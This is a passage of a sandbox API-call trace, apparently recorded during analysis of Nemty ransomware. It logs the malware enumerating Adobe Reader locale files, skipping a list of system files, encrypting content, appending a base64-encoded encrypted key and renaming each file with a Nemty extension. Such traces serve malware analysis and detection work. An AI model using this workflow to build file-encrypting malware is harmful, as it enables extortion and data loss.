GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18432) returned 1 [0184.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4800) returned 0x6352c48 [0184.110] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.110] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4800, lpOverlapped=0x0) returned 1 [0184.113] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.113] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4800, lpOverlapped=0x0) returned 1 [0184.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.113] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=18432, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4800 [0184.113] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.113] CloseHandle (hObject=0x2e8) returned 1 [0184.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.114] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\SaveAsRTF.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\saveasrtf.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\SaveAsRTF.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\saveasrtf.slv._nemty_kgobjgd_")) returned 1 [0184.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.114] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.SLV", cAlternateFileName="")) returned 1 [0184.114] lstrcmpiW (lpString1="Search.SLV", lpString2=".") returned 1 [0184.115] lstrcmpiW (lpString1="Search.SLV", lpString2="..") returned 1 [0184.115] lstrcmpiW (lpString1="Search.SLV", lpString2="...") returned 1 [0184.115] lstrcmpiW (lpString1="Search.SLV", lpString2="windows") returned -1 [0184.115] lstrcmpiW (lpString1="Search.SLV", lpString2="$RECYCLE.BIN") returned 1 [0184.115] lstrcmpiW (lpString1="Search.SLV", lpString2="rsa") returned 1 [0184.115] lstrcmpiW (lpString1="Search.SLV", lpString2="NTDETECT.COM") returned 1 [0184.115] lstrcmpiW (lpString1="Search.SLV", lpString2="ntldr") returned 1 [0184.115] lstrcmpiW (lpString1="Search.SLV", lpString2="MSDOS.SYS") returned 1 [0184.115] lstrcmpiW (lpString1="Search.SLV", lpString2="IO.SYS") returned 1 [0184.115] lstrcmpiW (lpString1="Search.SLV", lpString2="boot.ini") returned 1 [0184.115] lstrcmpiW (lpString1="Search.SLV", lpString2="boot.ini") returned 1 [0184.115] lstrcmpiW (lpString1="Search.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0184.115] lstrcmpiW (lpString1="Search.SLV", lpString2="ntuser.dat") returned 1 [0184.115] lstrcmpiW (lpString1="Search.SLV", lpString2="desktop.ini") returned 1 [0184.115] lstrcmpiW (lpString1="Search.SLV", lpString2="CONFIG.SYS") returned 1 [0184.115] lstrcmpiW (lpString1="Search.SLV", lpString2="RECYCLER") returned 1 [0184.115] lstrcmpiW (lpString1="Search.SLV", lpString2="BOOTSECT.BAK") returned 1 [0184.115] lstrcmpiW (lpString1="Search.SLV", lpString2="bootmgr") returned 1 [0184.115] lstrcmpiW (lpString1="Search.SLV", lpString2="programdata") returned 1 [0184.115] lstrcmpiW (lpString1="Search.SLV", lpString2="appdata") returned 1 [0184.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.115] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SLV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.115] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SLV", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.SLV", lpUsedDefaultChar=0x0) returned 10 [0184.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.115] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SLV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.115] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SLV", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.SLV", lpUsedDefaultChar=0x0) returned 10 [0184.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.115] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SLV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.115] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SLV", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.SLV", lpUsedDefaultChar=0x0) returned 10 [0184.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SLV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SLV", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.SLV", lpUsedDefaultChar=0x0) returned 10 [0184.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0184.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0184.116] Sleep (dwMilliseconds=0x5) [0184.125] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2164c9d0, dwHighDateTime=0x1d561e8)) [0184.125] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2164c9d0, dwHighDateTime=0x1d561e8)) [0184.125] GetLastError () returned 0x0 [0184.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.125] GetLastError () returned 0x0 [0184.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.125] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.125] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.125] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0184.125] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="Z5P02WFAxKn9XJlyeQQLr7Vcxw1avsbqw1a6QA4KtoWQZ0PBIJRCWqT9iv1OZ8Ew\r\nsAbohUc1KTs5x5hYQEQ10b3cJxxVVFePEzMC0dTIp2H8gO/K04YP+6Zcpp23H0Ff\r\nXqLihqPPgmkxnlsaA0F8rsq5vCe9WJ3DDVeunNaOzXzwrjoi3pkjm7T+So2pltGz\r\nIBh9ULYUmg1ceebR8QEsDFyHFzUQxvzTQlr4hO30Lit/dlWRlk2GHQ2qipM5Wjrq\r\nfLCvNX+0MquBtP6M7jqt7J6Um2WvEd9Q5cwcfu6Hfj6apTcx76msVyDZlNBmYoqp\r\npWny/CopZV6Fe05Fg90idw==\r\n", pcchString=0x653e5dc) returned 1 [0184.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0184.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.126] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Search.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\search.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.126] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=23040) returned 1 [0184.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5a00) returned 0x6352c48 [0184.126] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.126] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x5a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x5a00, lpOverlapped=0x0) returned 1 [0184.129] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.129] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x5a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x5a00, lpOverlapped=0x0) returned 1 [0184.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.129] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=23040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a00 [0184.129] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.129] CloseHandle (hObject=0x2e8) returned 1 [0184.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0184.129] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0184.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.130] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Search.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\search.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Search.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\search.slv._nemty_kgobjgd_")) returned 1 [0184.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0184.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0184.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0184.131] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.SLV", cAlternateFileName="")) returned 1 [0184.131] lstrcmpiW (lpString1="SendMail.SLV", lpString2=".") returned 1 [0184.131] lstrcmpiW (lpString1="SendMail.SLV", lpString2="..") returned 1 [0184.131] lstrcmpiW (lpString1="SendMail.SLV", lpString2="...") returned 1 [0184.131] lstrcmpiW (lpString1="SendMail.SLV", lpString2="windows") returned -1 [0184.131] lstrcmpiW (lpString1="SendMail.SLV", lpString2="$RECYCLE.BIN") returned 1 [0184.131] lstrcmpiW (lpString1="SendMail.SLV", lpString2="rsa") returned 1 [0184.131] lstrcmpiW (lpString1="SendMail.SLV", lpString2="NTDETECT.COM") returned 1 [0184.131] lstrcmpiW (lpString1="SendMail.SLV", lpString2="ntldr") returned 1 [0184.131] lstrcmpiW (lpString1="SendMail.SLV", lpString2="MSDOS.SYS") returned 1 [0184.131] lstrcmpiW (lpString1="SendMail.SLV", lpString2="IO.SYS") returned 1 [0184.131] lstrcmpiW (lpString1="SendMail.SLV", lpString2="boot.ini") returned 1 [0184.131] lstrcmpiW (lpString1="SendMail.SLV", lpString2="boot.ini") returned 1 [0184.131] lstrcmpiW (lpString1="SendMail.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0184.131] lstrcmpiW (lpString1="SendMail.SLV", lpString2="ntuser.dat") returned 1 [0184.131] lstrcmpiW (lpString1="SendMail.SLV", lpString2="desktop.ini") returned 1 [0184.131] lstrcmpiW (lpString1="SendMail.SLV", lpString2="CONFIG.SYS") returned 1 [0184.131] lstrcmpiW (lpString1="SendMail.SLV", lpString2="RECYCLER") returned 1 [0184.131] lstrcmpiW (lpString1="SendMail.SLV", lpString2="BOOTSECT.BAK") returned 1 [0184.131] lstrcmpiW (lpString1="SendMail.SLV", lpString2="bootmgr") returned 1 [0184.131] lstrcmpiW (lpString1="SendMail.SLV", lpString2="programdata") returned 1 [0184.131] lstrcmpiW (lpString1="SendMail.SLV", lpString2="appdata") returned 1 [0184.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SLV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SLV", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.SLV", lpUsedDefaultChar=0x0) returned 12 [0184.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SLV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SLV", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.SLV", lpUsedDefaultChar=0x0) returned 12 [0184.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.132] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SLV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.132] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SLV", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.SLV", lpUsedDefaultChar=0x0) returned 12 [0184.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.132] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SLV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.132] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SLV", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.SLV", lpUsedDefaultChar=0x0) returned 12 [0184.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0184.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.132] Sleep (dwMilliseconds=0x5) [0184.140] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21672b30, dwHighDateTime=0x1d561e8)) [0184.140] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21672b30, dwHighDateTime=0x1d561e8)) [0184.140] GetLastError () returned 0x0 [0184.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.140] GetLastError () returned 0x0 [0184.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.140] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.140] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.141] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.141] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="nTZiidpbNgV2Ge1Fyp/d9/puquUDDvRvYKDgxx5Cv9jZIg/vB9JCtuhcfDnZiVbM\r\nOCYwmqBl1jBKpJyzZXbsZGhzNfcZGnYryjKu9zZ5sXUBPl07DHHUIGR0Yii6KVwX\r\nL9+GIoT+9iNhXirRtF4N1y8fqWa0uB0INISe9Gp+4gV78ranY5mJ0qp1uv87zgIh\r\nmT8/y55aiTcYA1KURKiQGH0w70zVqpnn5zm9WlitYxk+wigWjRJwLE2XJG/ZC1nP\r\nTsS2d3Hk3sCvYjBzfjxJ3zQmCjSgBjuFOy0FuzB0nI10gTGSdCZ1wY5iz+YbS75u\r\n957mU3K1//hXSbW+ewSRCw==\r\n", pcchString=0x653e5dc) returned 1 [0184.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 